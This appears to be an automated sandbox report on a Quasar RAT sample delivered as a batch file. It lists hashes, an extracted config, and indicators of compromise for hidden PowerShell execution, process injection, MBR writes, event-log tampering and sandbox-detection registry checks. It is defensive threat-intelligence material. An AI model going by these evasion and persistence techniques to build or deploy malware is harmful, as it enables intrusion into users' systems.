quasar | c96f6d22a11588fb645f45821a151ee6cce413cfc3b80a62f3717cc2ba809247

Analysis

max time kernel
150s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
03-01-2025 21:56

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General

Target

hi.bat
Size

7.2MB
MD5

2c3d8aae15c19f224cb8258dc002fb53
SHA1

5797ad1149d6be6cbbb76df18abfa32e28cbc6a0
SHA256

c96f6d22a11588fb645f45821a151ee6cce413cfc3b80a62f3717cc2ba809247
SHA512

65e76fffd292b0cc442af65082fd5c7e2685c6bc9cbaa0597972598063e07a5ec2b8cf581d6d479e8266cecd984b7209b94f73b295b8f0fd661292583c19e9a7
SSDEEP

49152:i2z4mBDgbmKEf2tj2UFBW14Hkp18YJAUv0ZA8fv3CzY1V6uSonph0DQMq6xKjKvX:d

Score

10^/10

quasar bootkit defense_evasion execution persistence spyware trojan

Malware Config

Extracted

Family

quasar

Attributes

encryption_key
853F98C0E8F31E6FF0C780CC65F601689B6EF3FD
reconnect_delay
3000

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar
Quasar family
quasar

Quasar payload 1 IoCs

resource	yara_rule
behavioral2/memory/1280-1787-0x0000022F4B780000-0x0000022F4BEEE000-memory.dmp	family_quasar

Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs

description	pid	Process	procid_target
PID 1476 created 612	1476	powershell.exe	5
PID 1280 created 612	1280	powershell.exe	5

Blocklisted process makes network request 3 IoCs

flow	pid	Process
20	1280	powershell.exe
26	1280	powershell.exe
28	1280	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1476	powershell.exe
1280	powershell.exe

Sets service image path in registry 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\DoSvc\ImagePath = "C:\\Windows\\System32\\svchost.exe -k NetworkService -p"	WaaSMedicAgent.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	wmiprvse.exe

Executes dropped EXE 1 IoCs

pid	Process
776	wHesLT.exe

Indicator Removal: Clear Windows Event Logs 1 TTPs 3 IoCs

Clear Windows Event Logs to hide the activity of an intrusion.

defense_evasion

Clear Windows Event Logs

T1070.001

description	ioc	Process
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-WindowsUpdateClient%4Operational.evtx	svchost.exe

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\N:	svchost.exe
File opened (read-only)	\??\X:	svchost.exe
File opened (read-only)	\??\Y:	svchost.exe
File opened (read-only)	\??\L:	svchost.exe
File opened (read-only)	\??\O:	svchost.exe
File opened (read-only)	\??\R:	svchost.exe
File opened (read-only)	\??\S:	svchost.exe
File opened (read-only)	\??\V:	svchost.exe
File opened (read-only)	\??\P:	svchost.exe
File opened (read-only)	\??\U:	svchost.exe
File opened (read-only)	\??\Z:	svchost.exe
File opened (read-only)	\??\A:	svchost.exe
File opened (read-only)	\??\G:	svchost.exe
File opened (read-only)	\??\H:	svchost.exe
File opened (read-only)	\??\I:	svchost.exe
File opened (read-only)	\??\M:	svchost.exe
File opened (read-only)	\??\T:	svchost.exe
File opened (read-only)	\??\W:	svchost.exe
File opened (read-only)	\??\B:	svchost.exe
File opened (read-only)	\??\E:	svchost.exe
File opened (read-only)	\??\J:	svchost.exe
File opened (read-only)	\??\K:	svchost.exe
File opened (read-only)	\??\Q:	svchost.exe

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PHYSICALDRIVE0	wmiprvse.exe

Drops file in System32 directory 16 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\Application Experience\PcaPatchDbTask	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Scan	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_6372E0472AFF76BB926C97818BC773B9	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml	OfficeClickToRun.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D	lsass.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\$nya-tZnQ88SF	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776	svchost.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 1476 set thread context of 1540	1476	powershell.exe	89
PID 1280 set thread context of 4968	1280	powershell.exe	100

Drops file in Windows directory 7 IoCs

description	ioc	Process
File opened for modification	C:\Windows\$rbx-onimai2	powershell.exe
File created	C:\Windows\$rbx-onimai2\$rbx-CO2.bat	cmd.exe
File opened for modification	C:\Windows\$nya-onimai2	powershell.exe
File created	C:\Windows\$nya-onimai2\wHesLT.exe	powershell.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\DataStore.edb	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\ReportingEvents.log	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.chk	svchost.exe

Checks SCSI registry key(s) 3 TTPs 18 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Service	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\DeviceDesc	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\DeviceDesc	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000\LogConf	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\HardwareID	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\CompatibleIDs	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Mfg	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\ConfigFlags	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000\LogConf	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\FriendlyName	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Mfg	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Service	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\CompatibleIDs	wmiprvse.exe

Checks processor information in registry 2 TTPs 10 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key opened	\Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0	mousocoreworker.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	mousocoreworker.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	mousocoreworker.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	mousocoreworker.exe

Enumerates system info in registry 2 TTPs 5 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	wmiprvse.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	WaaSMedicAgent.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Fri, 03 Jan 2025 21:58:35 GMT"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\ApplicationFlags = "1"	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\SignalManager	mousocoreworker.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,508368333,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft	mousocoreworker.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\ValidDeviceId = "02rnxtmelskycadc"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\02rnxtmelskycadc\AppIdList = "{AFDA72BF-3409-413A-B54E-2AB8D66A7826};"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	WaaSMedicAgent.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\DeviceLicenseUpdateFailureCount = "0"	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\02rnxtmelskycadc\DeviceId = "<Data LastUpdatedTime=\"1735941435\"><User username=\"02RNXTMELSKYCADC\"/></Data>\r\n"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	WaaSMedicAgent.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\Logs\02rnxtmelskycadc\Provision Friday, January 03, 2025 21:57:14 = "AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAfYu9oc1am0yvHfxstgb83QAAAAACAAAAAAAQZgAAAAEAACAAAAC0TfR31koucsvWT0u4Tqj14Mijnr6GjKHMAE+FwYCQ3gAAAAAOgAAAAAIAACAAAAA4lgN7RPf1ECcooCqXY3lGE0ew9rdplwij8XgE+xgO4SAAAACR/4LkudyFVhwo6akBiAKTG2f8Zs4X2497XPiGKORyEUAAAAAXA6/Ci0EA+Xi8nUSo9gcVuatyI0sxWYWulnXFfWnLB1bIePse4NtnTMSHPgYwoL/milSaZqvif3a2aKnW8KmD"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	WaaSMedicAgent.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\DeviceId = "00188011C526BA94"	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\02rnxtmelskycadc	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\ExtendedProperties\LID = "00188011C526BA94"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\DeviceTicket = 0100000001000000d08c9ddf0115d1118c7a00c04fc297eb010000007d8bbda1cd5a9b4caf1dfc6cb606fcdd0000000002000000000010660000000100002000000000fec120a238b5783221af3be5ea7d8c3df04580d131aaa76005878d4eed216c000000000e800000000200002000000056f6dea6cfbbf99b5d985469d6c51cc33eab41ee31f11015ee91e9409f4ae453b0030000399f227e15c34b25ed0f9c75c01b79693c857baf410d000cb1e14ce9c9919c02fbfaf29c46f1ed1a7cc30de79a8a6964a999b30880f64d2df5278bfbaddd0b4cfbef54bc0caa54a312d5bf9be0b8ba1f7e72b12f930959fd3693ce8b6a7cd4c3df319451c2783218143adfc9c9776e05111ade77c8e9507e87238d5fcf5f1cb43ee9b9ac14d8d9943e41dde12d4e456dc67919bd36e17b4e6258cd1e7c466f5dadadb63f1ffbf7af17b5cafb1617826d663b4472916bbcebee8d57d42da68f985bcd74810f743857a2e3134d891ab9b74580715adb92c01cc44cc9eb3474a29c926ac427af1e68813e0d6f1de1343aa2634a598e3d5d6e939c4877ebd93e6e03d881bcd629ab3c87d0e7307fcb4c43efc84cfeb50d56b4c8b4c3a8a62980df6749bc9d1d691f2f42ca6d9f1e3884e76928546172142b603dbe1660a68f32deeab8e259b76d84f1df6b2dda65df2516511fce802fc610ef10d62637ff242d2ff742a26ca0556ea02d43051cdb50f3be5fd8176e7a047bbc8d1d23b5a840dfa301aedca86987a095b3df4c1c9cb8ae88157b5b37e8ad800c5a6efc85942e385a3d24fa9c6e275312647b765c7e23c6814022f41f5390a7c2cb2cd795b3038e0af2cd1edb70172ed4b9aa79b7871a8284082e89ea40f5503f75d9318b5300983ed3d803f76e598c12db8b87279b2d2fa3660f2991a829a01476319b3d051ad9d1b7dbd425bdaf6d04168d188224e4258f5d812031b3f4513e9fc4710e2fe84903d4dc1f14fab1b4e43c92e74c2c61403559d427b4076a4f9e982f464a61b817c87ef10a65a61e5c3b0e5dd623a4f05c7c1123e83fb38563b193ced870e9bf12ef2fe086673e2d6906f57f60e43977c1dd518e0a976f38ba6247b091d539b067daf411702e3a61f8243b02159e373706fd8cda3cca282ee25fd4d2fd5025391619d70e144a4c4f03733cf36ac9f5b0d28305e78740f5031d9fc3f2106c0b0d7b2c6ec6127a3cbee179a8db7afcc2bd38f58e0dfc380cb718c39729b6a965977d92d056b25d1ba2a93d463d3367a70d6314c7fe2d8d9c519c42872b4c97836fb4aaeb9850c2d52578bdd0ba4088e75fc6996da4466beec4980aad5331ac6f31c1b38174d90e7bdd6f353ad4705d5f4b2073c9b464ec8ac17931fec819ab31d0716847b9d39ef06f0b863ec7f4a1e6b1c93ee7e0f48ac9a62833f249e414b9ab8a18617c5022f847de8190dfd76c6a3d219878deef46e59e3db05be56689afa94b9d157ae99a3bf73214cd3e61f7353c82cd60ab141d8ba6d9545aa7b67ba54d8dfc5f43b79b7b2a9bc1b371a2738365a2773440000000ed9ce34d06a6c12fa409d69105abda2cc87000308e723c90dfd27a876d8aae938cfb4954279fa5ca6bbc35aa56aa74424b4c29609ad2430cc5b6a4fdb560844a	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows	mousocoreworker.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={135192FF-D805-4E0D-B55C-F69E80226519}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\Logs\02rnxtmelskycadc	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Property	mousocoreworker.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Property\00188011C526BA94 = 0100000001000000d08c9ddf0115d1118c7a00c04fc297eb010000007d8bbda1cd5a9b4caf1dfc6cb606fcdd00000000020000000000106600000001000020000000efc934fc164b118dc46adb947798332f8364817275d155afba8631c992f9e1e5000000000e8000000002000020000000f232bcd2c9bb86474c7f8bd0a4fd3cbfa57cc62e662badd47fd96306cc9c7b3f80000000c0c798affc24a8d3b72de9727ba8a2dd652948d28b1dcf83d4e4eaf5917183b88f8f78007d1cc5af28b8dca02be0d77dfec63fcf7497bf2250bf2f9a3d363109ae33fc48d97ddd098a489e98feb7d1f2530726fb6aa82317f40b58e92f86c9904e28e5e4e88be8c3a03dd765da3b8399a538289cb0dd3fa30bdae7a6753c776340000000546713fb056dea43a83fcad0fec9465c6ac0939d080f54b558db64c33b1469bf94690104f1aa056cac3c59a3fae8fa1df1c1a7dfcdc4e1cf61e7d3ee6d9d83c8	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\SignalManager\Peek\CacheStore	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\SignalManager\Peek	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	WaaSMedicAgent.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\02rnxtmelskycadc\DeviceId = "<Data LastUpdatedTime=\"1735941435\"><User username=\"02RNXTMELSKYCADC\"><HardwareInfo BoundTime=\"1735941435\" TpmKeyStateClient=\"1\" TpmKeyStateServer=\"3\" LicenseKeySequence=\"1\" LicenseInstallError=\"0\" LicenseKeyVersion=\"2\"/></User></Data>\r\n"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1476	powershell.exe
1476	powershell.exe
1476	powershell.exe
1540	dllhost.exe
1540	dllhost.exe
1540	dllhost.exe
1540	dllhost.exe
1540	dllhost.exe
1540	dllhost.exe
1540	dllhost.exe
1540	dllhost.exe
1540	dllhost.exe
1540	dllhost.exe
1540	dllhost.exe
1540	dllhost.exe
1540	dllhost.exe
1540	dllhost.exe
1540	dllhost.exe
1540	dllhost.exe
1540	dllhost.exe
1540	dllhost.exe
1540	dllhost.exe
1540	dllhost.exe
1540	dllhost.exe
1540	dllhost.exe
1540	dllhost.exe
1540	dllhost.exe
1540	dllhost.exe
1540	dllhost.exe
1540	dllhost.exe
1540	dllhost.exe
1540	dllhost.exe
1540	dllhost.exe
1540	dllhost.exe
1540	dllhost.exe
1280	powershell.exe
1540	dllhost.exe
1540	dllhost.exe
1280	powershell.exe
1540	dllhost.exe
1540	dllhost.exe
1540	dllhost.exe
1540	dllhost.exe
1540	dllhost.exe
1540	dllhost.exe
1540	dllhost.exe
1540	dllhost.exe
1280	powershell.exe
1540	dllhost.exe
1540	dllhost.exe
1540	dllhost.exe
1540	dllhost.exe
1540	dllhost.exe
